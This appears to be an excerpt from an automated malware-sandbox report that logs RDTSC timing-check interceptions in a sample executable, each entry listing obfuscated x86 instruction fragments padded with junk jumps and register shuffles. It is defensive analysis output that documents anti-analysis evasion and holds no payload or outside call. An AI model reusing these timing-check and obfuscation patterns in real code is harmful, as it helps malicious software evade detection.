Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5070711 second address: 5070751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FA6C4EBA07Ch 0x0000000e xchg eax, ecx 0x0000000f jmp 00007FA6C4EBA080h 0x00000014 xchg eax, esi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FA6C4EBA087h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5070751 second address: 50707AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD519h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c mov dx, AD00h 0x00000010 jmp 00007FA6C4CAD519h 0x00000015 popad 0x00000016 mov edx, ecx 0x00000018 popad 0x00000019 xchg eax, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FA6C4CAD519h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 507084A second address: 5070850 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5070850 second address: 5070856 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5070856 second address: 507085A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 507085A second address: 507087C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA6C4CAD514h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 507087C second address: 5070880 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5070880 second address: 5070886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5070886 second address: 507088C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 507088C second address: 50708A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FA6C4CAD56Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 50708A0 second address: 50708A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 507092D second address: 5060169 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA6C4CAD511h 0x00000009 jmp 00007FA6C4CAD50Bh 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007FA6C4CAD518h 0x00000015 and esi, 422A22F8h 0x0000001b jmp 00007FA6C4CAD50Bh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 retn 0004h 0x00000027 nop 0x00000028 sub esp, 04h 0x0000002b cmp eax, 00000000h 0x0000002e setne al 0x00000031 xor ebx, ebx 0x00000033 test al, 01h 0x00000035 jne 00007FA6C4CAD507h 0x00000037 mov dword ptr [esp], 0000000Dh 0x0000003e call 00007FA6C952A891h 0x00000043 mov edi, edi 0x00000045 pushad 0x00000046 mov ax, 2FCDh 0x0000004a pushfd 0x0000004b jmp 00007FA6C4CAD50Ah 0x00000050 add ax, 78E8h 0x00000055 jmp 00007FA6C4CAD50Bh 0x0000005a popfd 0x0000005b popad 0x0000005c xchg eax, ebp 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 jmp 00007FA6C4CAD50Bh 0x00000065 mov bx, si 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060169 second address: 50601D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4EBA085h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FA6C4EBA087h 0x00000011 and cx, B63Eh 0x00000016 jmp 00007FA6C4EBA089h 0x0000001b popfd 0x0000001c popad 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FA6C4EBA088h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 50601D7 second address: 50601F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD50Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov ecx, 24F9D1F1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 50601F0 second address: 5060221 instructions: 0x00000000 rdtsc 0x00000002 mov cl, 9Ch 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA6C4EBA083h 0x0000000b popad 0x0000000c sub esp, 2Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FA6C4EBA080h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060221 second address: 5060225 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060225 second address: 506022B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 506022B second address: 5060277 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop ebx 0x00000005 mov ah, 34h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FA6C4CAD510h 0x00000010 mov dword ptr [esp], ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FA6C4CAD518h 0x0000001c or cx, 4BE8h 0x00000021 jmp 00007FA6C4CAD50Bh 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060277 second address: 50602BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA6C4EBA07Fh 0x00000008 mov si, 36CFh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, edi 0x00000010 pushad 0x00000011 mov edi, eax 0x00000013 mov di, si 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 call 00007FA6C4EBA07Fh 0x0000001e mov esi, 235348AFh 0x00000023 pop esi 0x00000024 mov eax, edi 0x00000026 popad 0x00000027 xchg eax, edi 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FA6C4EBA07Ah 0x0000002f rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 50603D8 second address: 50603DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 50603DE second address: 50603E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 50603E2 second address: 506040C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FA6C4CAD7BEh 0x0000000e pushad 0x0000000f mov ax, CA9Fh 0x00000013 popad 0x00000014 lea ecx, dword ptr [ebp-14h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FA6C4CAD511h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 506040C second address: 5060412 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060412 second address: 5060416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060416 second address: 506041A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 506041A second address: 5060439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-14h], edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA6C4CAD512h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060453 second address: 5060457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060457 second address: 5060472 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD517h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060472 second address: 506048A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6C4EBA084h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 506048A second address: 506049F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD50Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 506049F second address: 5060561 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA6C4EBA081h 0x00000008 xor ch, 00000046h 0x0000000b jmp 00007FA6C4EBA081h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007FA6C4EBA080h 0x00000019 and esi, 28B6F1E8h 0x0000001f jmp 00007FA6C4EBA07Bh 0x00000024 popfd 0x00000025 popad 0x00000026 push eax 0x00000027 jmp 00007FA6C4EBA089h 0x0000002c nop 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007FA6C4EBA083h 0x00000036 adc esi, 27B74E8Eh 0x0000003c jmp 00007FA6C4EBA089h 0x00000041 popfd 0x00000042 pushfd 0x00000043 jmp 00007FA6C4EBA080h 0x00000048 and cl, 00000008h 0x0000004b jmp 00007FA6C4EBA07Bh 0x00000050 popfd 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060586 second address: 506058D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 506058D second address: 50605AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4EBA082h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FA735A77F5Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 50605AF second address: 50605CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD519h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 50605CC second address: 5060693 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 0B72h 0x00000007 pushfd 0x00000008 jmp 00007FA6C4EBA083h 0x0000000d add al, 0000006Eh 0x00000010 jmp 00007FA6C4EBA089h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 js 00007FA6C4EBA111h 0x0000001f jmp 00007FA6C4EBA07Eh 0x00000024 cmp dword ptr [ebp-14h], edi 0x00000027 pushad 0x00000028 movzx eax, dx 0x0000002b pushfd 0x0000002c jmp 00007FA6C4EBA083h 0x00000031 xor cx, 4C2Eh 0x00000036 jmp 00007FA6C4EBA089h 0x0000003b popfd 0x0000003c popad 0x0000003d jne 00007FA735A77EBBh 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 mov cx, bx 0x00000049 pushfd 0x0000004a jmp 00007FA6C4EBA07Fh 0x0000004f add eax, 6C27623Eh 0x00000055 jmp 00007FA6C4EBA089h 0x0000005a popfd 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060693 second address: 50606E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD511h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FA6C4CAD513h 0x00000015 and si, 7CFEh 0x0000001a jmp 00007FA6C4CAD519h 0x0000001f popfd 0x00000020 push esi 0x00000021 pop edx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 50606E4 second address: 5060702 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4EBA07Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-2Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov si, dx 0x00000012 mov cx, bx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060702 second address: 5060708 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060708 second address: 506075B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4EBA07Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007FA6C4EBA080h 0x00000011 push eax 0x00000012 jmp 00007FA6C4EBA07Bh 0x00000017 xchg eax, esi 0x00000018 jmp 00007FA6C4EBA086h 0x0000001d nop 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov ebx, 467E7C00h 0x00000026 mov edx, 2C4F582Ch 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 506075B second address: 5060761 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060761 second address: 5060765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060765 second address: 5060769 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060769 second address: 506077A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov al, 6Ch 0x0000000e push edx 0x0000000f pop esi 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 506077A second address: 5060780 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060780 second address: 5060784 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060784 second address: 50607A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA6C4CAD517h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 50607EA second address: 50607EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 50607EE second address: 50607F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 50607F2 second address: 50607F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 50607F8 second address: 5060040 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD514h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007FA6C4CAD510h 0x00000010 je 00007FA73586B339h 0x00000016 xor eax, eax 0x00000018 jmp 00007FA6C4C86C3Ah 0x0000001d pop esi 0x0000001e pop edi 0x0000001f pop ebx 0x00000020 leave 0x00000021 retn 0004h 0x00000024 nop 0x00000025 sub esp, 04h 0x00000028 mov edi, eax 0x0000002a xor ebx, ebx 0x0000002c cmp edi, 00000000h 0x0000002f je 00007FA6C4CAD717h 0x00000035 call 00007FA6C952A538h 0x0000003a mov edi, edi 0x0000003c pushad 0x0000003d pushad 0x0000003e pushfd 0x0000003f jmp 00007FA6C4CAD516h 0x00000044 jmp 00007FA6C4CAD515h 0x00000049 popfd 0x0000004a mov ah, D2h 0x0000004c popad 0x0000004d mov bx, C860h 0x00000051 popad 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060040 second address: 5060044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060044 second address: 5060048 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060048 second address: 506004E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 506004E second address: 5060073 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD518h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060073 second address: 5060077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060077 second address: 506007D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 506007D second address: 5060083 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060083 second address: 5060087 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060BDE second address: 5060BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060BE3 second address: 5060BE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060BE8 second address: 5060C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, dx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007FA6C4EBA086h 0x00000014 pop esi 0x00000015 movsx edx, si 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060C12 second address: 5060C2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6C4CAD518h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060C2E second address: 5060C32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060C32 second address: 5060C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [75C7459Ch], 05h 0x0000000f pushad 0x00000010 mov si, dx 0x00000013 mov eax, edi 0x00000015 popad 0x00000016 je 00007FA73585B2BDh 0x0000001c pushad 0x0000001d pushad 0x0000001e mov esi, edi 0x00000020 movsx edx, cx 0x00000023 popad 0x00000024 popad 0x00000025 pop ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060C5E second address: 5060C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5060C62 second address: 5060C7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD516h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 50709A0 second address: 50709A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 50709A6 second address: 50709C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov si, 7115h 0x0000000e mov ecx, 60CF0991h 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push edi 0x00000019 pop eax 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 50709C1 second address: 5070A7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4EBA081h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FA6C4EBA07Ch 0x00000012 sub esi, 2D256148h 0x00000018 jmp 00007FA6C4EBA07Bh 0x0000001d popfd 0x0000001e jmp 00007FA6C4EBA088h 0x00000023 popad 0x00000024 xchg eax, esi 0x00000025 jmp 00007FA6C4EBA080h 0x0000002a push eax 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FA6C4EBA081h 0x00000032 or si, 6FC6h 0x00000037 jmp 00007FA6C4EBA081h 0x0000003c popfd 0x0000003d mov dl, al 0x0000003f popad 0x00000040 xchg eax, esi 0x00000041 pushad 0x00000042 mov ecx, ebx 0x00000044 movsx ebx, si 0x00000047 popad 0x00000048 mov esi, dword ptr [ebp+0Ch] 0x0000004b pushad 0x0000004c pushfd 0x0000004d jmp 00007FA6C4EBA07Ah 0x00000052 or cl, FFFFFF98h 0x00000055 jmp 00007FA6C4EBA07Bh 0x0000005a popfd 0x0000005b popad 0x0000005c test esi, esi 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5070A7F second address: 5070A96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD513h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5070A96 second address: 5070AC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx edi, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FA735A5798Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov di, C96Ch 0x00000018 call 00007FA6C4EBA085h 0x0000001d pop esi 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5070AC5 second address: 5070B76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA6C4CAD50Ch 0x00000009 or ecx, 50A89AB8h 0x0000000f jmp 00007FA6C4CAD50Bh 0x00000014 popfd 0x00000015 call 00007FA6C4CAD518h 0x0000001a pop ecx 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e cmp dword ptr [75C7459Ch], 05h 0x00000025 jmp 00007FA6C4CAD511h 0x0000002a je 00007FA735862E82h 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007FA6C4CAD513h 0x00000039 sub ah, FFFFFF8Eh 0x0000003c jmp 00007FA6C4CAD519h 0x00000041 popfd 0x00000042 pushfd 0x00000043 jmp 00007FA6C4CAD510h 0x00000048 and al, 00000008h 0x0000004b jmp 00007FA6C4CAD50Bh 0x00000050 popfd 0x00000051 popad 0x00000052 rdtsc
